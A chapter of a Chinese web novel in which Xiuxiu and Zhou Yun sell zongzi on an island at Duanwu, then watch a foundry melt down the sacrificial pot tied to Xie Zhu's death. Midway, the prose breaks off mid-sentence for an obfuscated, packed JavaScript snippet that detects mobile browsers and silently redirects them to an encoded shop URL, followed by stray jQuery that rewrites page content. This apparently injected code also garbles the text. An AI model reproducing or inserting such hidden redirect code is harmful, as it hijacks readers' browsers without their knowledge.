秀秀探出身子,一头青丝随着溜出窗外,散散垂着。夜风一吹,有几缕发丝贴上脸颊,她抬手挽发至耳后,露出一张皎皎清丽的脸庞,低头往楼下看。
周允刚冲了凉,全身只着一条亵裤,湿淋淋地站在院子里。
月光下,皮肉无形,轮廓更显,在岛上这半年,他比船上时更黑了些,也更结实。一滴水珠沿着他锁骨往下淌,淌过胸膛,淌至小腹,最后隐没进裤腰里。
秀秀目光追了半截,猛然醒过神,赶紧落在他脸上。
他正仰着头,冲她笑。
又发哪门子疯?秀秀叹了口气,声音从二楼窗畔飘下:“上楼睡觉啦。”
周允未动,只是笑。
片刻,吱呀一声,纱窗阖上了。秀秀回了房,吹灯,不再理他。
楼下没动静。
她又等了片刻,还是静悄悄的。
想到周允那副醉熏熏的模样,秀秀心里不踏实,她睁着眼躺了一会儿,到底没忍住,起身又摸到窗边——方才那位置空了。
她转身,“登登登”跑下了楼。
天色极暗,星子闪耀如钻,耳畔听到的是不停歇的蛙鸣和海浪,鼻中闻到的是院中一排开花的月橘吐出的一蓬浓香。
眼中见到的,是院子里正半裸着弓背坐在院中石凳上的周允,他呆望着院门出神,无声无息。
她掩嘴一笑,伸手过去。
柔软的手掌抚过头顶,周允抬起头来看她。秀秀仍穿着轻薄的寝衣,头发在脑后挽起,带来幽幽花香,他望着望着,眼中有月光流过。
明月西斜,人影叠叠,秀秀站在那儿,看着他眼中那点光愈发清澈透明,心下却是一片迷惘。
可这月光却不由她多想,只是短暂地停留,随即闪了闪,便灭了。周允垂下眼,什么都没说。
“上去睡罢。”她上前,去拉他的手。
周允由她牵着上了楼。
他抱了她一夜,喊了一夜的“秀秀”。
夜深人静,秀秀小声问他:“怎么了?”
“想回冶坊看看。”周允沉默了很久才开口。
“……皇京的冶坊?”
他没答,只是将脸埋进她颈间。秀秀察觉到他抱自己的手紧了些。
她不再问。
自打葡萄节这晚过后,周允便不常回家了。
他日日待在冶坊,一连几天见不着人影,有时半夜回,她迷迷糊糊听见动静,等早上睁眼,身边又是空的,二人换下的衣裳倒是都被他洗净晾在了天井里,只是每日连句话都捞不着说。
秀秀也懒得再问,她近日也忙得很。
葡萄岛不兴过端阳节,但岛上众多大牟汉人,离乡十数载,心中都揣着这个节的念想。秀秀琢磨着,若是这时在岛上卖粽子,定是一笔不错的生意。这钱不赚白不赚,正好给书院的孩子们添些衣裳。
她将这念头与书院的婆子们提了一嘴,大家倒是爽快应了,只是岛上没有竹箬叶,几人便想了个法子,用芭蕉叶替代。头一回试,怕不好吃,先试了几个尝尝,却未曾想竟格外清甜,孩子们都抢。
一进五月,书院便挑起了高高的幌子,上头写着“皇京一号粽”。
秀秀亲手写的,学了这么久,她这字,也总算能见人了。
起初,只有几个路过的人来问。后来一传十,十传百,十里八乡的人都寻到了书院门口。
汉人冲着这名头要来尝尝,本地人少见这东西,图个新奇,将书院围得里三层外三层。
粽子一日做得比一日多,秀秀每日忙到天黑倒头便睡,周允那档子事,她索性不去想了,想也想不明白,不如不想。
直到端阳这日傍晚。
秀秀正在院里码着剩下的粽子,岛上天热,粽子不能过夜,该送的都送了,却还剩下这些,不出意外,今日餐桌上又要有粽子了。
她看着那一小筐粽子,心里烦得很,却不是为粽子。
周允那家伙,没良心!端阳节都要去冶坊!爱说不说,不说拉倒,她一点儿也不好奇他做什么勾当!
秀秀正将这粽子一股脑往小箩筐里丢,好像那筐底是周允的脸。
正扔着,院门外猛地闪进来一阵风。
周允喘着气冲了进来,脸上汗涔涔的,一身汗气,身上的衣裳都汗湿了,贴在身上。
“碧秋呢?”他张口便问。
秀秀一蹙眉,心里那股火蹭地上来了,她冷冷开口:“你自己不会找啊?”
周允喘了口气,低头看见筐里的粽子,又见秀秀那张冷脸,问道:“这是要给我送?”
“美得你。”秀秀将脸一偏,低声咕哝:“可惜啊,有人狗咬吕洞宾。”
周允不恼,嘴角反倒挂上吟吟浅笑,他伸手取了一个,拆开便往嘴里送。
“谁说给你的,你不是不爱吃甜么……还我!”
“是不爱吃甜,”他咬了一口,看着她,“那得看谁送的。”
秀秀一挑眉,嗔他:“一筐粽子,你只吃一个?心不诚!”
他嚼着粽子,目光四处瞥,瞧见廊下搁着一篮子纸折的金元宝,往屋里一探,吴碧秋正在屋里与几个孩子一起备奠礼。
嘴里的粽子愈嚼愈慢,他咽了一口,忽然没头没脑地问了句:“秀秀,你信不信,铁也能记住东西?”
秀秀一愣:“什么?”
周允未搭话,又咬了一口粽子,嚼着嚼着,眼神又飘向别处。
秀秀盯着他看了两眼,心里冒出点疑惑,周允不对劲,太不对劲了。
可她没问,问了也是白问,他若是想说,早说了。
“你找碧秋到底做甚?”她将话拉回来。
周允回神,“我不仅找她,”一口将剩下的粽子塞进嘴里,鼓着腮帮子边嚼边道,“我还找我媳妇。”
秀秀“啧”一声,拿粽子扔他:“别瞎叫……”
她心里发毛,总觉得他话里有话,周允却不由分说,接过粽子放回筐中,一径拉着她往屋里去。
不多时,一群人跟着周允到了岛上的冶坊。
秀秀是头一回来这里。
冶坊在岛西的临河高地上,远远便听见叮叮当当的打铁声,愈走近愈响。
此处没有周允家冶坊的竖炉,只是几间棕榈茅草搭的敞棚,漏斗一样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259679|188039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的炼铁炉一字排开。
这会儿炉火未开,炉旁堆着一筐筐铁块,铁筐上皆系着白布条。
一声刺耳鸡鸣响起。
一个老汉一手抓鸡,一手持刀,当着众人的面手起刀落,那处地面的土已成深褐色。接着,老汉扔下鸡,又往各个炉中撒树皮。
以前周允同秀秀讲过,这里的人在开炉前常献祭公鸡,祈求炉火顺利,撒树皮是为了助熔,大抵是葡萄岛的“打生桩”。
酉时中,一声锣响。
炉火开了,数位匠工上前,将这些铁倒进了炉中,铁块撞在炉壁,声音破碎,火星飘浮,漫天飞舞,如同鸡血飞溅、冥纸纷飞。
周允手中握着一块铁,走至吴碧秋身前。
“这块铁是锅的‘连枝’,最易开裂。”他递给她,声音比铁还沉,“这块地方,最需要骨头来炼……”
吴碧秋接过那块铁,低首俯面,似乎对这块铁之外的所有都视而不见,她攥着那块铁,攥得手上发白,肩膀开始发抖。
秀秀忽然明白了周允这些时日在忙些什么。
这是用谢烛“打生桩”的那口巨锅,原本用来祭天的锅,被冶坊的工人们一齐打碎了。今日端阳节,是谢烛的忌日,周允选在这日,把这口锅熔了,只留下那一块。
天色暗下来,炉火旺起来,天边火烧云与这焰火交相辉映,血淋淋的,烧得每人都满头大汗。
吴碧秋捧着那块铁看了很久,悲痛细啮心头,她终于哭出声,哭声却仍憋闷着。
几人凝神敛容,深深地,朝着炉子鞠躬。
火光跳跃翻卷,好似回应,炉中铁块瑟瑟发抖,慢慢化成了铁水,红彤彤地淌了出来。
炉旁,一群渺小的蚁沿着墙根赶路,它们不知从何处来,为了一块即将融化的糖渣,看不见一地的公鸡血,也瞧不清这熊熊烈火,只是闷头往前爬。越向前,越步履蹒跚,越看不见路,有几只爬得太近,被热气一燎,便不动了。
脚踏实地的、沉默的一生,转瞬被封锁去路,血肉化尘泥。
秀秀想起葡萄节那夜,周允问她的问题。
“岛上许多大牟人,离乡十数载不回,”周允问她,“你可知道为何?”
她想了想:“没有能远洋的船?”
周允摇头。
“没赚到钱,没脸回去?”
周允还是摇头。
秀秀皱着眉又想了半晌,等着他说出答案。
周允并未急着开口,他抬起头,看着天上繁密的星子,月亮飘向了云。
“他们当初过来,”他说,“可不是为了赚钱。”
“那是为何?”秀秀又问,等着他继续讲。
可周允收回目光,看向她,却没有答。
此时,站在冶坊里,看着炉前哭泣的吴碧秋,看着化为铁水的碎锅,看着墙角被火吞噬的蚂蚁,秀秀恍然懂了那夜他没说的话。
有些人离乡,是为了逃离一些东西,可有些东西,走到哪儿都跟着你。一切皆是迫不得已,如同她离开胡家的那个清晨。
她转头看向周允,火光照在他脸上,那夜的月光也熔进了火里。